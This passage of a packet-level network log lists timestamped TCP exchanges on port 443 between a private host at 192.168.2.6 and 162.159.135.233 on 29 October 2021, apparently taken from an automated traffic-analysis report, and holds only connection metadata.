Oct 29, 2021 17:55:26.455184937 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.455239058 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.455271006 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.455300093 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.455311060 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.455351114 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.455548048 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.455579996 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.455638885 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.455668926 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.455684900 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.455734968 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.455743074 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.455924034 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.455986977 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.456038952 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.456063986 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.456078053 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.456082106 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.456114054 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.456269979 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.456315994 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.456374884 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.456406116 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.456413984 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.456465960 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.456485033 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.456685066 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.456743002 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.456770897 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.456778049 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.456825972 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.456847906 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.457057953 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.457118988 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.457163095 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.457174063 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.457206964 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.457231998 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.457577944 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.457617044 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.457684040 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.457698107 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.457734108 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.457757950 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.457875013 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.457928896 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.457962990 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.457973957 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.458010912 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.458026886 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.458528996 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.492094040 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.492132902 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.492434025 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.492465019 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.492491961 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.492584944 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.492599010 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.492618084 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.492628098 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.492636919 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.492705107 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.492718935 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.492739916 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.492750883 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.492777109 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.492836952 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.492852926 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.492878914 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.492894888 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.492904902 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.492964983 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.492979050 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493000984 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493010998 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493021011 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493078947 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493092060 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493118048 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493138075 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493149996 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493216038 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493227005 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493269920 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493289948 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493309975 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493315935 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493323088 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493330956 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493354082 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493396997 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493408918 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493429899 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493434906 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493443966 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493470907 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493510008 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493516922 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493545055 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493616104 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493654966 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493676901 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493685007 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493693113 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493730068 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493823051 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493860960 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493910074 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493935108 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.493961096 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493967056 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.493976116 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494004965 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494055986 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.494071007 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494096994 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.494107962 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494143009 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494175911 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.494191885 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494223118 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.494240046 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494257927 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.494261980 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494287968 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494312048 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.494323015 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494349957 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.494354963 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494375944 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.494386911 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494421959 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.494617939 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.494673014 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.494683027 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.504247904 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.514374971 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.514437914 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.514566898 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.514986038 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.515019894 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.553967953 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.558296919 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.558327913 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615092993 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615309000 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615391970 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615418911 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.615436077 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615495920 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615503073 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.615520000 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615586996 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.615598917 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615683079 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615746975 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.615746975 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615767002 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615823984 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.615835905 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615899086 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615961075 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.615967035 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.615979910 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616039038 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.616050959 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616115093 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616168976 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.616180897 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616230965 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616287947 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.616292000 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616308928 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616367102 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.616378069 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616435051 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616488934 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.616493940 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616533995 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616588116 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.616657972 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616782904 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616838932 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.616873980 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616898060 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.616967916 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.616978884 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617033958 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617090940 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617116928 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.617134094 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617186069 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617233992 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.617244959 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617264032 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617300034 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.617355108 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617417097 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617464066 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.617470026 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617486954 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617567062 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.617577076 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617594957 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617655039 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617676973 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.617693901 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.617741108 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.617755890 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.632019997 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.632251978 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.632525921 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.632630110 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.632633924 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.632654905 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.632699013 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.632724047 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.632788897 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.632792950 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.632812023 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.632879972 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.633702993 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.633795977 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.633796930 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.633814096 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.633883953 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.633941889 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.633956909 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.633975029 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.633981943 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.634015083 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.634022951 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.634052992 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.634057999 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.634121895 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.634136915 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.634147882 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.634187937 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.649000883 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.649111986 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.649142027 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.649159908 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.649204016 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.649215937 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.649266005 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.649323940 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.649337053 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.649353981 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.649365902 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.649416924 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.649435997 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.650847912 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.650957108 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651020050 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651036978 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651048899 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651062965 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651149035 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651154995 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651165962 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651180029 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651253939 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651268959 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651335001 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651349068 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651360989 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651369095 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651432991 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651447058 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651458979 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651465893 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651541948 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651551008 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651570082 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651632071 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651637077 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651658058 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651748896 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651803970 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651815891 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651829004 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651848078 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651916981 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.651935101 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.651952982 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652012110 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652029037 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652043104 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652089119 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652101040 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652115107 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652122974 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652154922 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652173042 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652182102 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652235031 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652246952 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652267933 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652285099 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652338982 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652343988 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652355909 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652420998 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652442932 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652456999 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652493000 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652507067 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652519941 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652528048 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652559996 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652591944 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652601957 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652615070 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.652642965 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652679920 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.652962923 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.653207064 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.666199923 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.666348934 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.666363955 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.666388988 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.666475058 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.666475058 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.666495085 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.666534901 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.666559935 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.666567087 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.666590929 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.666610956 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.666675091 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.666681051 CEST	443	49805	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.666696072 CEST	443	49805	162.159.135.233	192.168.2.6
